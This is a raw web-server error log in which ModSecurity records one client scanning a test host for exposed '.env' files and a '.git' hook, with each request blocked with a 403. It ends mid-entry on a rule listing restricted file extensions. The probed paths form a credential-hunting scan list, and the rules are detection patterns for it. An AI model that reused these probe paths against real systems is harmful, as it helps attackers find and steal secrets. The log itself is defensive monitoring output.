[Thu Jul 10 08:35:33.301188 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gQAAAAAY&quot;]
[Thu Jul 10 08:35:33.301405 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gQAAAAAY&quot;]
[Thu Jul 10 08:35:33.445065 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gQgAAAAY&quot;]
[Thu Jul 10 08:35:33.445323 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gQgAAAAY&quot;]
[Thu Jul 10 08:35:33.445504 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin-app/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gQgAAAAY&quot;]
[Thu Jul 10 08:35:33.896682 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/phpmyadmin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gRwAAAAY&quot;]
[Thu Jul 10 08:35:33.896930 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gRwAAAAY&quot;]
[Thu Jul 10 08:35:33.897124 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gRwAAAAY&quot;]
[Thu Jul 10 08:35:33.997152 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /09-managing-state/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gSAAAAAY&quot;]
[Thu Jul 10 08:35:33.997429 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gSAAAAAY&quot;]
[Thu Jul 10 08:35:33.997621 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aG9fNVyvy-JmMjlZ6U3gSAAAAAY&quot;]
[Thu Jul 10 08:35:34.172018 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aG9fNlyvy-JmMjlZ6U3gSQAAAAY&quot;]
[Thu Jul 10 08:35:34.172264 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aG9fNlyvy-JmMjlZ6U3gSQAAAAY&quot;]
[Thu Jul 10 08:35:34.172464 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/post-commit&quot;] [unique_id &quot;aG9fNlyvy-JmMjlZ6U3gSQAAAAY&quot;]
[Thu Jul 10 08:35:34.329304 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aG9fNlyvy-JmMjlZ6U3gSgAAAAY&quot;]
[Thu Jul 10 08:35:34.329651 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aG9fNlyvy-JmMjlZ6U3gSgAAAAY&quot;]
[Thu Jul 10 08:35:34.329903 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aG9fNlyvy-JmMjlZ6U3gSgAAAAY&quot;]
[Thu Jul 10 08:35:43.898753 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aG9fP22HUGa5P2sipOw4gQAAAAE&quot;]
[Thu Jul 10 08:35:43.898995 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aG9fP22HUGa5P2sipOw4gQAAAAE&quot;]
[Thu Jul 10 08:35:43.899180 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aG9fP22HUGa5P2sipOw4gQAAAAE&quot;]
[Thu Jul 10 08:35:43.923245 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/github.com/gobuffalo/envy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aG9fP22HUGa5P2sipOw4ggAAAAE&quot;]
[Thu Jul 10 08:35:43.923483 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aG9fP22HUGa5P2sipOw4ggAAAAE&quot;]
[Thu Jul 10 08:35:43.923650 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/github.com/gobuffalo/envy/.env&quot;] [unique_id &quot;aG9fP22HUGa5P2sipOw4ggAAAAE&quot;]
[Thu Jul 10 08:35:43.956625 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packages/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/api/.env&quot;] [unique_id &quot;aG9fP22HUGa5P2sipOw4gwAAAAE&quot;]
[Thu Jul 10 08:35:43.956880 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/api/.env&quot;] [unique_id &quot;aG9fP22HUGa5P2sipOw4gwAAAAE&quot;]
[Thu Jul 10 08:35:43.957066 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/api/.env&quot;] [unique_id &quot;aG9fP22HUGa5P2sipOw4gwAAAAE&quot;]
[Thu Jul 10 08:35:44.110195 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main_user/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4hgAAAAE&quot;]
[Thu Jul 10 08:35:44.110496 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4hgAAAAE&quot;]
[Thu Jul 10 08:35:44.110708 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main_user/.env&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4hgAAAAE&quot;]
[Thu Jul 10 08:35:44.168318 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4hwAAAAE&quot;]
[Thu Jul 10 08:35:44.168577 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4hwAAAAE&quot;]
[Thu Jul 10 08:35:44.168768 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aG9fQG2HUGa5P2sipOw4hwAAAAE&quot;]
[Thu Jul 10 08:35:44.224758 2025] [:error] [pid 1065738] [client 185.177.72.106:23868] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag 